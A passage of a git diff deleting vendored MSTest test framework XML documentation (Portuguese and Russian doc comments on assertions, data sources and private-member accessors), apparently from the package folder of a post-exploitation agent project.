comparada. Trata-se da coleção que o teste espera - que não corresponda a . - - - A segunda coleção a ser comparada. Trata-se da coleção produzida pelo - código em teste. - - - A implementação de comparação a ser usada ao comparar elementos da coleção. - - - A mensagem a ser incluída na exceção quando - é igual a . A mensagem é mostrada nos - resultados de teste. - - - Uma matriz de parâmetros a serem usados ao formatar . - - - Thrown if is equal to . - - - - - Determina se a primeira coleção é um subconjunto da segunda - coleção. Se os conjuntos contiverem elementos duplicados, o número - de ocorrências do elemento no subconjunto deverá ser menor ou igual - ao número de ocorrências no superconjunto. - - - A coleção que o teste espera que esteja contida em . - - - A coleção que o teste espera que contenha . - - - Verdadeiro se é um subconjunto de - , caso contrário, falso. - - - - - Cria um dicionário contendo o número de ocorrências de cada - elemento na coleção especificada. - - - A coleção a ser processada. - - - O número de elementos nulos na coleção. - - - Um dicionário contendo o número de ocorrências de cada elemento - na coleção especificada. - - - - - Encontra um elemento incompatível entre as duas coleções. Um elemento - incompatível é aquele que aparece um número diferente de vezes na - coleção esperada em relação à coleção real. É pressuposto que - as coleções sejam referências não nulas diferentes com o - mesmo número de elementos. O chamador é responsável por esse nível de - verificação. Se não houver nenhum elemento incompatível, a função retornará - falso e os parâmetros de saída não deverão ser usados. - - - A primeira coleção a ser comparada. - - - A segunda coleção a ser comparada. - - - O número esperado de ocorrências de - ou 0 se não houver nenhum elemento - incompatível. - - - O número real de ocorrências de - ou 0 se não houver nenhum elemento - incompatível. - - - O elemento incompatível (poderá ser nulo) ou nulo se não houver nenhum - elemento incompatível. - - - verdadeiro se um elemento incompatível foi encontrado. Caso contrário, falso. - - - - - compara os objetos usando object.Equals - - - - - Classe base para exceções do Framework. - - - - - Inicializa uma nova instância da classe . - - - - - Inicializa uma nova instância da classe . - - A mensagem. - A exceção. - - - - Inicializa uma nova instância da classe . - - A mensagem. - - - - Uma classe de recurso fortemente tipada para pesquisar cadeias de caracteres localizadas, etc. - - - - - Retorna a instância de ResourceManager armazenada em cache usada por essa classe. - - - - - Substitui a propriedade CurrentUICulture do thread atual em todas - as pesquisas de recursos usando essa classe de recurso fortemente tipada. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a A cadeia de caracteres de acesso tem sintaxe inválida. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a A coleção esperada contém {1} ocorrência(s) de <{2}>. A coleção real contém {3} ocorrência(s). {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Item duplicado encontrado:<{1}>. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Esperado:<{1}>. Maiúsculas e minúsculas diferentes para o valor real:<{2}>. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Esperada uma diferença não maior que <{3}> entre o valor esperado <{1}> e o valor real <{2}>. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Esperado:<{1} ({2})>. Real:<{3} ({4})>. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Esperado:<{1}>. Real:<{2}>. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Esperada uma diferença maior que <{3}> entre o valor esperado <{1}> e o valor real <{2}>. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a É esperado qualquer valor, exceto:<{1}>. Real:<{2}>. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Não passe tipos de valores para AreSame(). Os valores convertidos em Object nunca serão os mesmos. Considere usar AreEqual(). {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante à Falha em {0}. {1}. - - - - - Pesquisa uma cadeia de caracteres localizada similar a TestMethod assíncrono com UITestMethodAttribute sem suporte. Remova o assíncrono ou use o TestMethodAttribute. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Ambas as coleções estão vazias. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Ambas as coleções contêm os mesmos elementos. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Ambas as referências de coleções apontam para o mesmo objeto de coleção. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Ambas as coleções contêm os mesmos elementos. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a {0}({1}). - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a (nulo). - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a (objeto). - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a A cadeia de caracteres '{0}' não contém a cadeia de caracteres '{1}'. {2}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a {0} ({1}). - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Assert.Equals não deve ser usado para Asserções. Use Assert.AreEqual e sobrecargas em seu lugar. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O número de elementos nas coleções não corresponde. Esperado:<{1}>. Real:<{2}>.{0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O elemento no índice {0} não corresponde. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O elemento no índice {1} não é de tipo esperado. Tipo esperado:<{2}>. Tipo real:<{3}>.{0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O elemento no índice {1} é (nulo). Tipo esperado:<{2}>.{0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a A cadeia de caracteres '{0}' não termina com a cadeia de caracteres '{1}'. {2}.. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Argumento inválido – EqualsTester não pode usar nulos. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Não é possível converter objeto do tipo {0} em {1}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O objeto interno referenciado não é mais válido. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O parâmetro '{0}' é inválido. {1}.. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a A propriedade {0} é do tipo {1}; tipo esperado {2}.. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a {0} Tipo esperado:<{1}>. Tipo real:<{2}>.. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a A cadeia de caracteres '{0}' não corresponde ao padrão '{1}'. {2}.. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Tipo incorreto:<{1}>. Tipo real:<{2}>. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a A cadeia de caracteres '{0}' corresponde ao padrão '{1}'. {2}.. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Nenhum DataRowAttribute especificado. Pelo menos um DataRowAttribute é necessário com DataTestMethodAttribute. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Nenhuma exceção gerada. A exceção {1} era esperada. {0}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O parâmetro '{0}' é inválido. O valor não pode ser nulo. {1}.. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Número diferente de elementos. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a - O construtor com a assinatura especificada não pôde ser encontrado. Talvez seja necessário gerar novamente seu acessador particular - ou o membro pode ser particular e definido em uma classe base. Se o último for verdadeiro, será necessário passar o tipo - que define o membro no construtor do PrivateObject. - . - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a - O membro especificado ({0}) não pôde ser encontrado. Talvez seja necessário gerar novamente seu acessador particular - ou o membro pode ser particular e definido em uma classe base. Se o último for verdadeiro, será necessário passar o tipo - que define o membro no construtor do PrivateObject. - . - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a A cadeia de caracteres '{0}' não começa com a cadeia de caracteres '{1}'. {2}.. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O tipo de exceção esperado deve ser System.Exception ou um tipo derivado de System.Exception. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a (Falha ao obter a mensagem para uma exceção do tipo {0} devido a uma exceção.). - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O método de teste não gerou a exceção esperada {0}. {1}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O método de teste não gerou uma exceção. Uma exceção era esperada pelo atributo {0} definido no método de teste. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O método de teste gerou a exceção {0}, mas era esperada a exceção {1}. Mensagem de exceção: {2}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a O método de teste gerou a exceção {0}, mas era esperado a exceção {1} ou um tipo derivado dela. Mensagem de exceção: {2}. - - - - - Pesquisa uma cadeia de caracteres localizada semelhante a Exceção gerada {2}, mas a exceção {1} era esperada. {0} - Mensagem de Exceção: {3} - Rastreamento de Pilha: {4}. - - - - - resultados de teste de unidade - - - - - O teste foi executado, mas ocorreram problemas. - Os problemas podem envolver exceções ou asserções com falha. - - - - - O teste foi concluído, mas não é possível dizer se houve aprovação ou falha. - Pode ser usado para testes anulados. - - - - - O teste foi executado sem nenhum problema. - - - - - O teste está em execução no momento. - - - - - Ocorreu um erro de sistema ao tentarmos executar um teste. - - - - - O tempo limite do teste foi atingido. - - - - - O teste foi anulado pelo usuário. - - - - - O teste está em um estado desconhecido - - - - - Fornece funcionalidade auxiliar para a estrutura do teste de unidade - - - - - Obtém as mensagens de exceção, incluindo as mensagens para todas as exceções internas - recursivamente - - Exceção ao obter mensagens para - cadeia de caracteres com informações de mensagem de erro - - - - Enumeração para tempos limite, a qual pode ser usada com a classe . - O tipo de enumeração deve corresponder - - - - - O infinito. - - - - - O atributo da classe de teste. - - - - - Obtém um atributo de método de teste que habilita a execução desse teste. - - A instância de atributo do método de teste definida neste método. - O a ser usado para executar esse teste. - Extensions can override this method to customize how all methods in a class are run. - - - - O atributo do método de teste. - - - - - Executa um método de teste. - - O método de teste a ser executado. - Uma matriz de objetos TestResult que representam resultados do teste. - Extensions can override this method to customize running a TestMethod. - - - - O atributo de inicialização do teste. - - - - - O atributo de limpeza do teste. - - - - - O atributo ignorar. - - - - - O atributo de propriedade de teste. - - - - - Inicializa uma nova instância da classe . - - - O nome. - - - O valor. - - - - - Obtém o nome. - - - - - Obtém o valor. - - - - - O atributo de inicialização de classe. - - - - - O atributo de limpeza de classe. - - - - - O atributo de inicialização de assembly. - - - - - O atributo de limpeza de assembly. - - - - - Proprietário do Teste - - - - - Inicializa uma nova instância da classe . - - - O proprietário. - - - - - Obtém o proprietário. - - - - - Atributo de prioridade. Usado para especificar a prioridade de um teste de unidade. - - - - - Inicializa uma nova instância da classe . - - - A prioridade. - - - - - Obtém a prioridade. - - - - - Descrição do teste - - - - - Inicializa uma nova instância da classe para descrever um teste. - - A descrição. - - - - Obtém a descrição de um teste. - - - - - URI de Estrutura do Projeto de CSS - - - - - Inicializa a nova instância da classe para o URI da Estrutura do Projeto CSS. - - O URI da Estrutura do Projeto ECSS. - - - - Obtém o URI da Estrutura do Projeto CSS. - - - - - URI de Iteração de CSS - - - - - Inicializa uma nova instância da classe para o URI de Iteração do CSS. - - O URI de iteração do CSS. - - - - Obtém o URI de Iteração do CSS. - - - - - Atributo WorkItem. Usado para especificar um item de trabalho associado a esse teste. - - - - - Inicializa a nova instância da classe para o Atributo WorkItem. - - A ID para o item de trabalho. - - - - Obtém a ID para o item de trabalho associado. - - - - - Atributo de tempo limite. Usado para especificar o tempo limite de um teste de unidade. - - - - - Inicializa uma nova instância da classe . - - - O tempo limite. - - - - - Inicializa a nova instância da classe com um tempo limite predefinido - - - O tempo limite - - - - - Obtém o tempo limite. - - - - - O objeto TestResult a ser retornado ao adaptador. - - - - - Inicializa uma nova instância da classe . - - - - - Obtém ou define o nome de exibição do resultado. Útil ao retornar vários resultados. - Se for nulo, o nome do Método será usado como o DisplayName. - - - - - Obtém ou define o resultado da execução de teste. - - - - - Obtém ou define a exceção gerada quando o teste falha. - - - - - Obtém ou define a saída da mensagem registrada pelo código de teste. - - - - - Obtém ou define a saída da mensagem registrada pelo código de teste. - - - - - Obtém ou define os rastreamentos de depuração pelo código de teste. - - - - - Gets or sets the debug traces by test code. - - - - - Obtém ou define a duração de execução do teste. - - - - - Obtém ou define o índice de linha de dados na fonte de dados. Defina somente para os resultados de execuções - individuais de um teste controlado por dados. - - - - - Obtém ou define o valor retornado do método de teste. (Sempre nulo no momento). - - - - - Obtém ou define os arquivos de resultado anexados pelo teste. - - - - - Especifica a cadeia de conexão, o nome de tabela e o método de acesso de linha para teste controlado por dados. - - - [DataSource("Provider=SQLOLEDB.1;Data Source=source;Integrated Security=SSPI;Initial Catalog=EqtCoverage;Persist Security Info=False", "MyTable")] - [DataSource("dataSourceNameFromConfigFile")] - - - - - O nome do provedor padrão para a DataSource. - - - - - O método de acesso a dados padrão. - - - - - Inicializa a nova instância da classe . Essa instância será inicializada com um provedor de dados, uma cadeia de conexão, uma tabela de dados e um método de acesso a dados para acessar a fonte de dados. - - Nome do provedor de dados invariável, como System.Data.SqlClient - - Cadeia de conexão específica do provedor de dados. - AVISO: a cadeia de conexão pode conter dados confidenciais (por exemplo, uma senha). - A cadeia de conexão é armazenada em texto sem formatação no código-fonte e no assembly compilado. - Restrinja o acesso ao código-fonte e ao assembly para proteger essas formações confidenciais. - - O nome da tabela de dados. - Especifica a ordem para acessar os dados. - - - - Inicializa a nova instância da classe . Essa instância será inicializada com uma cadeia de conexão e um nome da tabela. - Especifique a cadeia de conexão e a tabela de dados para acessar a fonte de dados OLEDB. - - - Cadeia de conexão específica do provedor de dados. - AVISO: a cadeia de conexão pode conter dados confidenciais (por exemplo, uma senha). - A cadeia de conexão é armazenada em texto sem formatação no código-fonte e no assembly compilado. - Restrinja o acesso ao código-fonte e ao assembly para proteger essas formações confidenciais. - - O nome da tabela de dados. - - - - Inicializa a nova instância da classe . Essa instância será inicializada com um provedor de dados e com uma cadeia de conexão associada ao nome da configuração. - - O nome da fonte de dados encontrada na seção <microsoft.visualstudio.qualitytools> do arquivo app.config. - - - - Obtém o valor que representa o provedor de dados da fonte de dados. - - - O nome do provedor de dados. Se um provedor de dados não foi designado na inicialização do objeto, o provedor de dados padrão de System.Data.OleDb será retornado. - - - - - Obtém o valor que representa a cadeia de conexão da fonte de dados. - - - - - Obtém um valor que indica o nome da tabela que fornece dados. - - - - - Obtém o método usado para acessar a fonte de dados. - - - - Um dos valores. Se o não for inicializado, o valor padrão será retornado . - - - - - Obtém o nome da fonte de dados encontrada na seção <microsoft.visualstudio.qualitytools> no arquivo app.config. - - - - - O atributo para teste controlado por dados em que os dados podem ser especificados de maneira embutida. - - - - - Encontrar todas as linhas de dados e executar. - - - O Método de teste. - - - Uma matriz de . - - - - - Executa o método de teste controlado por dados. - - O método de teste a ser executado. - Linha de Dados. - Resultados de execução. - - - diff --git a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/ru/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml b/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/ru/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml deleted file mode 100644 index 58bcdd9e..00000000 --- a/Payload_Type/apollo/apollo/agent_code/packages/MSTest.TestFramework.2.1.1/lib/net45/ru/Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions.xml +++ /dev/null @@ -1,1097 +0,0 @@ - - - - Microsoft.VisualStudio.TestPlatform.TestFramework.Extensions - - - - - Используется для указания элемента развертывания (файл или каталог) для развертывания каждого теста. - Может указываться для тестового класса или метода теста. - Чтобы указать несколько элементов, можно использовать несколько экземпляров атрибута. - Путь к элементу может быть абсолютным или относительным, в последнем случае он указывается по отношению к RunConfig.RelativePathRoot. - - - [DeploymentItem("file1.xml")] - [DeploymentItem("file2.xml", "DataFiles")] - [DeploymentItem("bin\Debug")] - - - - - Инициализирует новый экземпляр класса . - - Файл или каталог для развертывания. Этот путь задается относительно выходного каталога сборки. Элемент будет скопирован в тот же каталог, что и развернутые сборки теста. - - - - Инициализирует новый экземпляр класса - - Относительный или абсолютный путь к файлу или каталогу для развертывания. Этот путь задается относительно выходного каталога сборки. Элемент будет скопирован в тот же каталог, что и развернутые сборки теста. - Путь к каталогу, в который должны быть скопированы элементы. Он может быть абсолютным или относительным (по отношению к каталогу развертывания). Все файлы и каталоги, обозначенные при помощи будет скопировано в этот каталог. - - - - Получает путь к копируемым исходному файлу или папке. - - - - - Получает путь к каталогу, в который копируется элемент. - - - - - Содержит литералы для имен разделов, свойств и атрибутов. - - - - - Имя раздела конфигурации. - - - - - Имя раздела конфигурации для Beta2. Оставлено для совместимости. - - - - - Имя раздела для источника данных. - - - - - Имя атрибута для "Name" - - - - - Имя атрибута для "ConnectionString" - - - - - Имя атрибута для "DataAccessMethod" - - - - - Имя атрибута для "DataTable" - - - - - Элемент источника данных. - - - - - Возвращает или задает имя этой конфигурации. - - - - - Возвращает или задает элемент ConnectionStringSettings в разделе <connectionStrings> файла .config. - - - - - Возвращает или задает имя таблицы данных. - - - - - Возвращает или задает тип доступа к данным. - - - - - Возвращает имя ключа. - - - - - Получает свойства конфигурации. - - - - - Коллекция элементов источника данных. - - - - - Инициализирует новый экземпляр класса . - - - - - Возвращает элемент конфигурации с указанным ключом. - - Ключ возвращаемого элемента. - System.Configuration.ConfigurationElement с указанным ключом; в противном случае — NULL. - - - - Получает элемент конфигурации по указанному индексу. - - Индекс возвращаемого элемента System.Configuration.ConfigurationElement. - - - - Добавляет элемент конфигурации в коллекцию элементов конфигурации. - - Добавляемый элемент System.Configuration.ConfigurationElement. - - - - Удаляет System.Configuration.ConfigurationElement из коллекции. - - . - - - - Удаляет System.Configuration.ConfigurationElement из коллекции. - - Ключ удаляемого элемента System.Configuration.ConfigurationElement. - - - - Удаляет все объекты элементов конфигурации из коллекции. - - - - - Создает новый . - - Новый . - - - - Получает ключ элемента для указанного элемента конфигурации. - - Элемент System.Configuration.ConfigurationElement, для которого возвращается ключ. - Объект System.Object, действующий как ключ для указанного элемента System.Configuration.ConfigurationElement. - - - - Добавляет элемент конфигурации в коллекцию элементов конфигурации. - - Добавляемый элемент System.Configuration.ConfigurationElement. - - - - Добавляет элемент конфигурации в коллекцию элементов конфигурации. - - Индекс, по которому следует добавить указанный элемент System.Configuration.ConfigurationElement. - Добавляемый элемент System.Configuration.ConfigurationElement. - - - - Поддержка параметров конфигурации для тестов. - - - - - Получает раздел конфигурации для тестов. - - - - - Раздел конфигурации для тестов. - - - - - Возвращает источники данных для этого раздела конфигурации. - - - - - Получает коллекцию свойств. - - - свойств для элемента. - - - - - Этот класс представляет существующий закрытый внутренний объект в системе - - - - - Инициализирует новый экземпляр класса , содержащий - уже существующий объект закрытого типа - - объект, который служит начальной точкой для доступа к закрытым элементам. - Строка разыменования, в которой получаемый объект обозначается точкой, например m_X.m_Y.m_Z - - - - Инициализирует новый экземпляр класса , который заключает в оболочку - указанный тип. - - Имя сборки - полное имя - Аргументы, передаваемые в конструктор - - - - Инициализирует новый экземпляр класса , который заключает в оболочку - указанный тип. - - Имя сборки - полное имя - Массив объектов, представляющих число, порядок и тип параметров, получаемых конструктором - Аргументы, передаваемые в конструктор - - - - Инициализирует новый экземпляр класса , который заключает в оболочку - указанный тип. - - тип создаваемого объекта - Аргументы, передаваемые в конструктор - - - - Инициализирует новый экземпляр класса , который заключает в оболочку - указанный тип. - - тип создаваемого объекта - Массив объектов, представляющих число, порядок и тип параметров, получаемых конструктором - Аргументы, передаваемые в конструктор - - - - Инициализирует новый экземпляр класса , который заключает в оболочку - заданный объект. - - упаковываемый объект - - - - Инициализирует новый экземпляр класса , который заключает в оболочку - заданный объект. - - упаковываемый объект - Объект PrivateType - - - - Возвращает или задает целевой объект - - - - - Возвращает тип базового объекта - - - - - возвращает хэш-код целевого объекта - - целочисленное значение, представляющее хэш-код целевого объекта - - - - Равенство - - Объект, с которым будет выполняться сравнение - возвращает true, если объекты равны. - - - - Вызывает указанный метод - - Имя метода - Аргументы, передаваемые в элемент для вызова. - Результат вызова метода - - - - Вызывает указанный метод - - Имя метода - Массив объектов, представляющих число, порядок и тип параметров, получаемых методом. - Аргументы, передаваемые в элемент для вызова. - Результат вызова метода - - - - Вызывает указанный метод - - Имя метода - Массив объектов, представляющих число, порядок и тип параметров, получаемых методом. - Аргументы, передаваемые в элемент для вызова. - Массив типов, соответствующих типам универсальных аргументов. - Результат вызова метода - - - - Вызывает указанный метод - - Имя метода - Аргументы, передаваемые в элемент для вызова. - Информация о языке и региональных параметрах - Результат вызова метода - - - - Вызывает указанный метод - - Имя метода - Массив объектов, представляющих число, порядок и тип параметров, получаемых методом. - Аргументы, передаваемые в элемент для вызова. - Информация о языке и региональных параметрах - Результат вызова метода - - - - Вызывает указанный метод - - Имя метода - Битовая маска, состоящая из одного или нескольких объектов которые определяют, как выполняется поиск. - Аргументы, передаваемые в элемент для вызова. - Результат вызова метода - - - - Вызывает указанный метод - - Имя метода - Битовая маска, состоящая из одного или нескольких объектов которые определяют, как выполняется поиск. - Массив объектов, представляющих число, порядок и тип параметров, получаемых методом. - Аргументы, передаваемые в элемент для вызова. - Результат вызова метода - - - - Вызывает указанный метод - - Имя метода - Битовая маска, состоящая из одного или нескольких объектов которые определяют, как выполняется поиск. - Аргументы, передаваемые в элемент для вызова. - Информация о языке и региональных параметрах - Результат вызова метода - - - - Вызывает указанный метод - - Имя метода - Битовая маска, состоящая из одного или нескольких объектов которые определяют, как выполняется поиск. - Массив объектов, представляющих число, порядок и тип параметров, получаемых методом. - Аргументы, передаваемые в элемент для вызова. - Информация о языке и региональных параметрах - Результат вызова метода - - - - Вызывает указанный метод - - Имя метода - Битовая маска, состоящая из одного или нескольких объектов которые определяют, как выполняется поиск. - Массив объектов, представляющих число, порядок и тип параметров, получаемых методом. - Аргументы, передаваемые в элемент для вызова. - Информация о языке и региональных параметрах - Массив типов, соответствующих типам универсальных аргументов. - Результат вызова метода - - - - Возвращает элемент массива с использованием массива нижних индексов для каждого измерения - - Имя члена - индексы массива - Массив элементов. - - - - Задает элемент массива с использованием массива нижних индексов для каждого измерения - - Имя члена - Задаваемое значение - индексы массива - - - - Возвращает элемент массива с использованием массива нижних индексов для каждого измерения - - Имя члена - Битовая маска, состоящая из одного или нескольких объектов которые определяют, как выполняется поиск. - индексы массива - Массив элементов. - - - - Задает элемент массива с использованием массива нижних индексов для каждого измерения - - Имя члена - Битовая маска, состоящая из одного или нескольких объектов которые определяют, как выполняется поиск. - Задаваемое значение - индексы массива - - - - Получить поле - - Имя поля - Поле. - - - - Присваивает значение полю - - Имя поля - задаваемое значение - - - - Получает поле - - Имя поля - Битовая маска, состоящая из одного или нескольких объектов которые определяют, как выполняется поиск. - Поле. - - - - Присваивает значение полю - - Имя поля - Битовая маска, состоящая из одного или нескольких объектов которые определяют, как выполняется поиск. - задаваемое значение - - - - Получает поле или свойство - - Имя поля или свойства - Поле или свойство. - - - - Присваивает значение полю или свойству - - Имя поля или свойства - задаваемое значение - - - - Получает поле или свойство - - Имя поля или свойства - Битовая маска, состоящая из одного или нескольких объектов которые определяют, как выполняется поиск. - Поле или свойство. - - - - Присваивает значение полю или свойству - - Имя поля или свойства - Битовая маска, состоящая из одного или нескольких объектов которые определяют, как выполняется поиск. - задаваемое значение - - - - Получает свойство - - Имя свойства - Аргументы, передаваемые в элемент для вызова. - Свойство. - - - - Получает свойство - - Имя свойства - Массив объектов, представляющих число, порядок и тип параметров для проиндексированного свойства. - Аргументы, передаваемые в элемент для вызова. - Свойство. - - - - Задать свойство - - Имя свойства - задаваемое значение - Аргументы, передаваемые в элемент для вызова. - - - - Задать свойство - - Имя свойства - Массив объектов, представляющих число, порядок и тип параметров для проиндексированного свойства. - задаваемое значение - Аргументы, передаваемые в элемент для вызова. - - - - Получает свойство - - Имя свойства - Битовая маска, состоящая из одного или нескольких объектов которые определяют, как выполняется поиск. - Аргументы, передаваемые в элемент для вызова. - Свойство. - - - - Получает свойство - - Имя свойства - Битовая маска, состоящая из одного или нескольких объектов которые определяют, как выполняется поиск. - Массив объектов, представляющих число, порядок и тип параметров для проиндексированного свойства. - Аргументы, передаваемые в элемент для вызова. - Свойство. - - - - Присваивает значение свойству - - Имя свойства - Битовая маска, состоящая из одного или нескольких объектов которые определяют, как выполняется поиск. - задаваемое значение - Аргументы, передаваемые в элемент для вызова. - - - - Присваивает значение свойству - - Имя свойства - Битовая маска, состоящая из одного или нескольких объектов которые определяют, как выполняется поиск. - задаваемое значение - Массив объектов, представляющих число, порядок и тип параметров для проиндексированного свойства. - Аргументы, передаваемые в элемент для вызова. - - - - Проверка строки доступа - - строка доступа - - - - Вызывает элемент - - Имя члена - Дополнительные атрибуты - Аргумент для вызова - Язык и региональные параметры - Результат вызова - - - - Извлекает наиболее подходящую сигнатуру универсального метода из текущего закрытого типа. - - Имя метода, в котором будет искаться кэш сигнатуры. - Массив типов, соответствующих типам параметров, в которых будет осуществляться поиск. - Массив типов, соответствующих типам универсальных аргументов. - для дальнейшей фильтрации сигнатур методов. - Модификаторы для параметров. - Экземпляр methodinfo. - - - - Этот класс представляет закрытый класс для функции закрытого метода доступа. - - - - - Привязывается ко всему - - - - - Упакованный тип. - - - - - Инициализирует новый экземпляр класса , содержащий закрытый тип. - - Имя сборки - полное имя - - - - Инициализирует новый экземпляр класса , содержащий - закрытый тип из объекта типа - - Упакованный создаваемый тип. - - - - Получает тип, на который была сделана ссылка - - - - - Вызывает статический элемент - - Имя элемента InvokeHelper - Аргументы для вызова - Результат вызова - - - - Вызывает статический элемент - - Имя элемента InvokeHelper - Массив объектов, представляющих число, порядок и тип параметров для вызываемого метода - Аргументы для вызова - Результат вызова - - - - Вызывает статический элемент - - Имя элемента InvokeHelper - Массив объектов, представляющих число, порядок и тип параметров для вызываемого метода - Аргументы для вызова - Массив типов, соответствующих типам универсальных аргументов. - Результат вызова - - - - Вызывает статический метод - - Имя члена - Аргументы для вызова - Язык и региональные параметры - Результат вызова - - - - Вызывает статический метод - - Имя члена - Массив объектов, представляющих число, порядок и тип параметров для вызываемого метода - Аргументы для вызова - Информация о языке и региональных параметрах - Результат вызова - - - - Вызывает статический метод - - Имя члена - Дополнительные атрибуты вызова - Аргументы для вызова - Результат вызова - - - - Вызывает статический метод - - Имя члена - Дополнительные атрибуты вызова - Массив объектов, представляющих число, порядок и тип параметров для вызываемого метода - Аргументы для вызова - Результат вызова - - - - Вызывает статический метод - - Имя элемента - Дополнительные атрибуты вызова - Аргументы для вызова - Язык и региональные параметры - Результат вызова - - - - Вызывает статический метод - - Имя элемента - Дополнительные атрибуты вызова - /// Массив объектов, представляющих число, порядок и тип параметров для вызываемого метода - Аргументы для вызова - Язык и региональные параметры - Результат вызова - - - - Вызывает статический метод - - Имя элемента - Дополнительные атрибуты вызова - /// Массив объектов, представляющих число, порядок и тип параметров для вызываемого метода - Аргументы для вызова - Язык и региональные параметры - Массив типов, соответствующих типам универсальных аргументов. - Результат вызова - - - - Получает элемент в статическом массиве - - Имя массива - - Одномерный массив 32-разрядных целых чисел, которые являются индексами, указывающими - положение получаемого элемента. Например, чтобы получить доступ к a[10][11], нужны индексы {10,11} - - элемент в указанном расположении - - - - Присваивает значение элементу статического массива - - Имя массива - задаваемое значение - - Одномерный массив 32-разрядных целых чисел, которые представляют индексы, указывающие - положение задаваемого элемента. Например, чтобы получить доступ к a[10][11], нужен массив {10,11} - - - - - Получает элемент в статическом массиве - - Имя массива - Дополнительные атрибуты InvokeHelper - - Одномерный массив 32-разрядных целых чисел, которые представляют индексы, указывающие - положение получаемого элемента. Например, чтобы получить доступ к a[10][11], нужен массив {10,11} - - элемент в указанном расположении - - - - Присваивает значение элементу статического массива - - Имя массива - Дополнительные атрибуты InvokeHelper - задаваемое значение - - Одномерный массив 32-разрядных целых чисел, которые представляют индексы, указывающие - положение задаваемого элемента. Например, чтобы получить доступ к a[10][11], нужен массив {10,11} - - - - - Получает статическое поле - - Имя поля - Статическое поле. - - - - Присваивает значение статическому полю - - Имя поля - Аргумент для вызова - - - - Получает статическое поле с использованием указанных атрибутов InvokeHelper - - Имя поля - Дополнительные атрибуты вызова - Статическое поле. - - - - Присваивает значение статическому полю при помощи атрибутов привязки - - Имя поля - Дополнительные атрибуты InvokeHelper - Аргумент для вызова - - - - Получает статическое поле или свойство - - Имя поля или свойства - Статическое поле или свойство. - - - - Присваивает значение статическому полю или свойству - - Имя поля или свойства - Значение, присваиваемое полю или свойству - - - - Получает статическое поле или свойство с использованием указанных атрибутов InvokeHelper - - Имя поля или свойства - Дополнительные атрибуты вызова - Статическое поле или свойство. - - - - Присваивает значение статическому полю или свойству при помощи атрибутов привязки - - Имя поля или свойства - Дополнительные атрибуты вызова - Значение, присваиваемое полю или свойству - - - - Получает статическое свойство - - Имя поля или свойства - Аргументы для вызова - Статическое свойство. - - - - Присваивает значение статическому свойству - - Имя свойства - Значение, присваиваемое полю или свойству - Аргументы, передаваемые в элемент для вызова. - - - - Присваивает значение статическому свойству - - Имя свойства - Значение, присваиваемое полю или свойству - Массив объектов, представляющих число, порядок и тип параметров для проиндексированного свойства. - Аргументы, передаваемые в элемент для вызова. - - - - Получает статическое свойство - - Имя свойства - Дополнительные атрибуты вызова. - Аргументы, передаваемые в элемент для вызова. - Статическое свойство. - - - - Получает статическое свойство - - Имя свойства - Дополнительные атрибуты вызова. - Массив объектов, представляющих число, порядок и тип параметров для проиндексированного свойства. - Аргументы, передаваемые в элемент для вызова. - Статическое свойство. - - - - Присваивает значение статическому свойству - - Имя свойства - Дополнительные атрибуты вызова. - Значение, присваиваемое полю или свойству - Необязательные значения индекса для индексируемых свойств. Индексы для индексируемых свойств отсчитываются от нуля. Для неиндексируемых свойств это значение должно быть равно NULL. - - - - Присваивает значение статическому свойству - - Имя свойства - Дополнительные атрибуты вызова. - Значение, присваиваемое полю или свойству - Массив объектов, представляющих число, порядок и тип параметров для проиндексированного свойства. - Аргументы, передаваемые в элемент для вызова. - - - - Вызывает статический метод - 